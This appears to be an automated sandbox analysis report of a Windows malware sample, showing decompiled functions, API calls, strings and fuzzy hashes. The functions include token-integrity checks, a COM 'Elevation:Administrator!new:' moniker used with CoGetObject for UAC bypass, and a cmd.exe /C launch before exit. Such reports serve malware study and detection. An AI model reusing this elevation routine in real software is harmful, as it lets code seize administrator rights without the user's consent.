Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402B19 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00402B19(void* __eax, void* __ecx, void* __edi, void* __esi) {
				void* _t34;
				void* _t38;

				_t38 = __edi;
				_t34 = __ecx;
				while(1) {
					asm("repe cmp dword [ebp-0x4], 0x0");
					goto L2;
				}
			}

0x00402b19
0x00402b19
0x00402b21
0x00402b21
0x00402b21
0x00402b21

APIs

IUnknown_Release_Proxy.RPCRT4(00000000), ref: 0040C240

Strings

{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 004086F5
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 00408F5A
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00402DB5

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ProxyRelease_Unknown_
String ID: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}${3E5FC7F9-9A51-4367-9063-A120244FBEC7}${6EDD6D74-C007-4E75-B76A-E5740995E24C}
API String ID: 2108461177-2392069778
Opcode ID: 57fb8891e492aef2362f9260549786f900474ac979c39a577c274a1f6423f9bf
Instruction ID: 88767bc4fb5fe4ef1935adf1d3302381a5c0cd1af83086c58ec8bec0668ac96b
Opcode Fuzzy Hash: 57fb8891e492aef2362f9260549786f900474ac979c39a577c274a1f6423f9bf
Instruction Fuzzy Hash: D5314F71904209FFDB00CF90D984BAD7BB4AF48305F2485AEE506B66C0D7789B85DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00407AB9(void* __eflags) {
				signed int _t62;
				signed int _t69;
				void* _t91;

				_push(ds);
				if(__eflags < 0) {
					while(1) {
						 *(_t91 - 4) = LocalAlloc(0, ??);
						_t62 = GetTokenInformation( *(_t91 - 8), 0x19,  *(_t91 - 4),  *(_t91 - 0xc), _t91 - 0xc); // executed
						__eflags = _t62;
						if(_t62 == 0) {
							break;
						}
						 *(_t91 - 0x10) =  *(GetSidSubAuthority( *( *(_t91 - 4)), ( *(GetSidSubAuthorityCount( *( *(_t91 - 4)))) & 0x000000ff) - 0x00000001 & 0x000000ff));
						 *(_t91 - 0x14) =  *(_t91 - 0x10);
						if(0 != 0) {
							_t69 = OpenProcessToken(0xffffffff, 8, _t91 - 8);
							__eflags = _t69;
							if(_t69 != 0) {
								GetTokenInformation( *(_t91 - 8), 0x19, 0, 0, _t91 - 0xc); // executed
								_push( *(_t91 - 0xc));
								continue;
							} else {
							}
						} else {
						}
						L3:
						if( *(_t91 - 8) != 0) {
							FindCloseChangeNotification( *(_t91 - 8)); // executed
						}
						if( *(_t91 - 4) != 0) {
							LocalFree( *(_t91 - 4));
						}
						return  *(_t91 - 0x14);
						goto L47;
					}
					goto L3;
				} else {
					_push(ss);
					while(1) {
						__eax =  *(__ebp - 0x10);
						 *(__ebp - 0x2c) =  *(__ebp - 0x10);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						__eflags =  *(__ebp - 0x2c);
						if( *(__ebp - 0x2c) <= 0) {
							break;
						}
						__ecx = __ebp - 0x88;
						__eax = E004055B9(__ebp - 0x88);
						 *(__ebp - 5) = __al;
						__edx =  *(__ebp - 0x18);
						__al =  *(__ebp - 5);
						 *( *(__ebp - 0x18)) = __al;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						__edx =  *(__ebp - 5) & 0x000000ff;
						__eflags = ( *(__ebp - 5) & 0x000000ff) - 0x7f;
						if(( *(__ebp - 5) & 0x000000ff) > 0x7f) {
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
						}
					}
					__eflags =  *(__ebp - 0x28);
					if( *(__ebp - 0x28) != 0) {
						__ecx = 1;
						__edx = 0;
						__eax =  *0x46c42c; // 0x0
						__ecx =  *__eax & 0x000000ff;
						__eflags = ( *__eax & 0x000000ff) - 0x4d;
						if(( *__eax & 0x000000ff) != 0x4d) {
							goto L9;
						} else {
							1 = 1 << 0;
							__eax =  *0x46c42c; // 0x0
							__ecx =  *(__eax + (1 << 0)) & 0x000000ff;
							__eflags = ( *(__eax + (1 << 0)) & 0x000000ff) - 0x5a;
							if(( *(__eax + (1 << 0)) & 0x000000ff) != 0x5a) {
								goto L9;
							} else {
								__eflags =  *0x46c420 - 2;
								if( *0x46c420 == 2) {
									goto L9;
								} else {
									__eax = 0;
								}
							}
						}
					} else {
						__eflags =  *0x46c420 - 1;
						if( *0x46c420 == 1) {
							L9:
							__edx =  *(__ebp - 0x18);
							 *0x46c430 =  *(__ebp - 0x18);
							while(1) {
								__eax =  *(__ebp - 4);
								 *(__ebp - 0x30) =  *(__ebp - 4);
								__ecx =  *(__ebp - 4);
								__ecx =  *(__ebp - 4) - 1;
								 *(__ebp - 4) = __ecx;
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) <= 0) {
									break;
								}
								__ecx = __ebp - 0x88;
								E004055B9(__ebp - 0x88) = E0040B8C1(__eax);
								__edx =  *0x46c330; // 0x0
								__edx = __edx & 0x0003ffff;
								__eflags = __edx;
								if(__edx == 0) {
									__eflags =  *0x46c420 - 1;
									if( *0x46c420 == 1) {
										__eflags =  *0x46c330 - 0x480000;
										if( *0x46c330 != 0x480000) {
											L44:
											__eflags =  *0x46c330 - 0x100000;
											if( *0x46c330 != 0x100000) {
												L34:
												__eflags =  *0x463778 - 0xe;
												if( *0x463778 == 0xe) {
													goto L40;
												}
											} else {
												__eflags =  *0x463778 - 0xf;
												if( *0x463778 == 0xf) {
													goto L40;
												} else {
													goto L34;
												}
											}
										} else {
											__eflags =  *0x463778 - 0x10;
											if( *0x463778 == 0x10) {
												L40:
												__eax =  *0x463778; // 0xe
												 *0x463778 = __eax;
												 *(__ebp - 0x14) = 0;
												while(1) {
													__eflags =  *(__ebp - 0x14) - 0x2800;
													if( *(__ebp - 0x14) >= 0x2800) {
														goto L43;
													}
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													__ecx =  *(__eax + __edx * 4);
													__ecx =  *(__eax + __edx * 4) << 1;
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													 *(__eax +  *(__ebp - 0x14) * 4) = __ecx;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
												}
											} else {
												goto L44;
											}
										}
									}
								}
								L43:
							}
							__eax = E0040C187(__ecx);
							__ecx = __ebp - 0x3c;
							__eax = E0040DCF9(__ebp - 0x3c);
							__ecx =  *(__ebp - 0x34);
							__eax = E0040CE09( *(__ebp - 0x34), __eax);
							__eflags = __eax -  *((intOrPtr*)(__ebp - 0xc));
							if(__eax ==  *((intOrPtr*)(__ebp - 0xc))) {
								__ecx = __ebp - 0x3c;
								__eax = E0040DCF9(__ebp - 0x3c);
								__edx =  *(__ebp + 0x10);
								 *( *(__ebp + 0x10)) = __eax;
								__eax =  *(__ebp - 0x34);
							} else {
								__eax = 0;
							}
						} else {
							__eax = 0;
						}
					}
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				L47:
			}

0x00407abb
0x00407abc
0x00407a69
0x00407a71
0x00407a86
0x00407a8c
0x00407a8e
0x00000000
0x00000000
0x00401060
0x00401066
0x0040106b
0x00409c94
0x00409c9a
0x00409c9c
0x00407a5f
0x00407a68
0x00000000
0x00000000
0x00409ca2
0x00000000
0x00401071
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00000000
0x00402955
0x00000000
0x00407abe
0x00407abe
0x00407abf
0x00407abf
0x00407ac2
0x00407ac8
0x00407acb
0x00407ace
0x00407ad2
0x00000000
0x00000000
0x00407ad8
0x00407ade
0x00407ae3
0x00407ae6
0x00407ae9
0x00407aec
0x00407af1
0x00407af4
0x00407af7
0x00407afb
0x00407afe
0x00407b07
0x00407b0a
0x00407b0a
0x004059ea
0x00408020
0x00408024
0x00401ea5
0x00401eaa
0x00401ead
0x00401eb2
0x00401eb6
0x00401eb9
0x00000000
0x00401ebf
0x00401ec4
0x00401ec7
0x00401ecc
0x00401ed0
0x00401ed3
0x00000000
0x00401ed9
0x00401ed9
0x00401ee0
0x00000000
0x00401ee6
0x00401ee6
0x00401ee6
0x00401ee0
0x00401ed3
0x0040802a
0x0040802a
0x00408031
0x00402035
0x00402035
0x00402038
0x004045e8
0x004045e8
0x004045eb
0x004045ee
0x004045f1
0x004045f4
0x004045f7
0x004045fb
0x00000000
0x00000000
0x00404601
0x0040460d
0x00404615
0x0040461b
0x0040461b
0x00404621
0x00404627
0x0040462e
0x00404634
0x0040463e
0x0040cc1b
0x0040cc1b
0x0040cc25
0x0040997f
0x0040997f
0x00409986
0x00000000
0x0040998c
0x0040cc2b
0x0040cc2b
0x0040cc32
0x00000000
0x0040cc38
0x00000000
0x0040cc38
0x0040cc32
0x00404644
0x00404644
0x0040464b
0x00409ca7
0x00409ca7
0x00409caf
0x00409cb4
0x0040a391
0x0040a391
0x0040a398
0x00000000
0x00000000
0x0040a39e
0x0040a3a1
0x0040a3a6
0x0040a3a9
0x0040a3ab
0x0040a3ae
0x0040a3b3
0x00405c82
0x00405c85
0x00405c85
0x00404651
0x00000000
0x00404651
0x0040464b
0x0040463e
0x0040462e
0x0040b344
0x0040b344
0x00409bce
0x00409bd3
0x00409bd6
0x00409bdc
0x00409be0
0x00409be8
0x00409beb
0x004024fe
0x00402501
0x00402506
0x00402509
0x0040250b
0x00409bf1
0x00409bf1
0x00409bf1
0x00408037
0x00408037
0x00408037
0x00408031
0x00403d6f
0x00403d71
0x00403d72
0x00403d72
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00409727(void* __ecx, signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v24;
				char _v44;
				char _v564;
				signed char _t19;
				void* _t27;
				signed int* _t34;

				_t34 = __edx;
				_v8 = 0x80004005;
				if(_a4 == 0) {
					return _v8;
				}
				_t19 = E00405C31(__ecx, _a4);
				if(_t19 <= 0x40) {
					 *_t34 =  *_t34 | _t19;
					 *_t19 =  *_t19 + _t19;
					E0040335C( &_v564);
					E00408BFE( &_v564,  &_v564, L"Elevation:Administrator!new:");
					E0040B160( &_v564, _a4);
					E0040335C( &_v564,  &_v44, 0x24);
					_v44 = 0x24;
					_v24 = _a8;
					_t27 =  *0x413080( &_v564,  &_v44, _a12, _a16,  &_v564, 0x208); // executed
					return _t27;
				}
				return _v8;
			}

0x00409727
0x00409730
0x0040973b
0x00000000
0x00409741
0x0040210a
0x00402115
0x0040d183
0x0040d185
0x0040d18e
0x0040d1a2
0x0040d1b5
0x0040d1c3
0x0040d1cb
0x0040d1d5
0x0040d1eb
0x00000000
0x0040d1eb
0x00000000

Strings

$, xrefs: 0040D1CB
Elevation:Administrator!new:, xrefs: 0040D196

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0040D17F(void* __eax, void* __edx, void* __eflags) {
				void* _t13;

				_t13 = __eax;
				asm("scasd");
				asm("movsb");
				if (__eflags < 0) goto L4;
				 *__edx =  *__edx | __al;
				 *__eax =  *__eax + __al;
				__eflags =  *__eax;
				__ecx = __ebp - 0x230;
				__eax = E0040335C(__ecx);
				__esp = __esp + 8;
				__edx = __ebp - 0x230;
				E00408BFE(__ecx, __ebp - 0x230, L"Elevation:Administrator!new:") =  *((intOrPtr*)(__ebp + 8));
				__ecx = __ebp - 0x230;
				__eax = E0040B160(__ebp - 0x230,  *((intOrPtr*)(__ebp + 8)));
				__edx = __ebp - 0x28;
				__eax = E0040335C(__ecx, __ebp - 0x28, 0x24);
				 *(__ebp - 0x28) = 0x24;
				__eax =  *((intOrPtr*)(__ebp + 0xc));
				 *((intOrPtr*)(__ebp - 0x14)) =  *((intOrPtr*)(__ebp + 0xc));
				__ecx =  *((intOrPtr*)(__ebp + 0x14));
				__edx =  *(__ebp + 0x10);
				__eax = __ebp - 0x28;
				__ecx = __ebp - 0x230;
				_t13 =  *0x413080(__ebp - 0x230, __ebp - 0x28,  *(__ebp + 0x10),  *((intOrPtr*)(__ebp + 0x14)), __ecx, 0x208); // executed
				return _t13;
			}

0x0040d17f
0x0040d17f
0x0040d180
0x0040d181
0x0040d183
0x0040d185
0x0040d185
0x0040d187
0x0040d18e
0x0040d193
0x0040d19b
0x0040d1aa
0x0040d1ae
0x0040d1b5
0x0040d1bf
0x0040d1c3
0x0040d1cb
0x0040d1d2
0x0040d1d5
0x0040d1d8
0x0040d1dc
0x0040d1e0
0x0040d1e4
0x0040d1eb
0x00404ba0

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

$, xrefs: 0040D1CB
Elevation:Administrator!new:, xrefs: 0040D196

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004063CE() {
				void* _t11;
				void* _t15;
				void* _t16;
				void* _t17;

				_push(ds);
				__eax = E00405C4C(); // executed
				if(__eax >= 0x2000) {
					E00405D04(_t11, _t15, _t16, _t17 - 0x624, 0); // executed
				} else {
					E0040335C(__ebp - 0x20c, __ebp - 0x20c, 0x20a) = E00405312(L"%systemroot%\\system32\\cmd.exe", __ebp - 0x20c, 0x104);
					__ebp - 0x418 = E00408BFE(__ecx, __ebp - 0x418, L"/C ");
					__ecx = __ebp - 0x624;
					E0040B160(__ebp - 0x418, __ebp - 0x624) = __ebp - 0x418;
					__ecx = __ebp - 0x20c;
					__eax = E00405D04(__ebx, __edi, __esi, __ebp - 0x20c, __ebp - 0x418);
				}
				ExitProcess(0);
			}

0x004063ce
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x00406407
0x0040641b
0x00406423
0x00406439
0x00406440
0x00406447
0x0040644c
0x0040a945

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 02200E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02200223,?,?), ref: 02200E19
SetErrorMode.KERNELBASE(00000000,?,?,02200223,?,?), ref: 02200E1E

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: be128ba4a1714c03969d69afea3e6d7d3813d5c654b19df80c39fee04ff0d183
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 97D0123115512877D7002AD4DC09BCD7B1CDF09B66F008011FB0DE9081C770964046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00401352(intOrPtr _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				void* _v4;
				long _v8;
				intOrPtr _v12;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t24;
				void* _t25;
				void* _t32;

				_pop(_t26);
				asm("sbb dword [eax+ebp*8], 0xaee35f9e");
				asm("adc dl, [ss:ebp-0x1374aa86]");
				_push(_t17);
				_v12 = E00404873(E00403D7B(_t17, _t24, _t25), 0x30dbca36);
				_t15 = E00404B1D(_t32, _a8, _a12);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v4 = _t18;
				_v8 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v4, _v8, _a16, _a20);
			}

0x00401352
0x00401353
0x0040135a
0x00401364
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040135E(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, long _a12, DWORD* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t23;

				_t23 = __eflags;
				_v16 = E00404873(E00403D7B(_t17, __edi, __esi), 0x30dbca36);
				_t15 = E00404B1D(_t23, _a4, _a8);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v8 = _t18;
				_v12 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v8, _v12, _a12, _a16);
			}

0x0040135e
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000D.00000002.446384829.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.446384829.000000000046E000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_D02D.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Function 02200920 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 02200929

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction ID: f1a77b98683cafb1fb7459b4dcf7902f75ab8b99c0f73db378513641b05b932d
Opcode Fuzzy Hash: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction Fuzzy Hash: 1190026038415011D820259C4C02B0510021751634F3047107170B91D4D84496144126

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 022097A9 Relevance: 10.6, APIs: 7, Instructions: 78memorylibrarynativeCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 022097DB
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 02209848
RtlEnterCriticalSection.NTDLL(DB51E8EC), ref: 02209877
RtlInitUnicodeString.NTDLL(00000180,0046C2D0), ref: 0220988D
RtlInitUnicodeString.NTDLL(00000178,0046C2D0), ref: 022098A3
RtlLeaveCriticalSection.NTDLL(DB51E8EC), ref: 022098B0
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,022045FA), ref: 022098C1

Memory Dump Source

Source File: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2200000_D02D.jbxd

Yara matches

Similarity

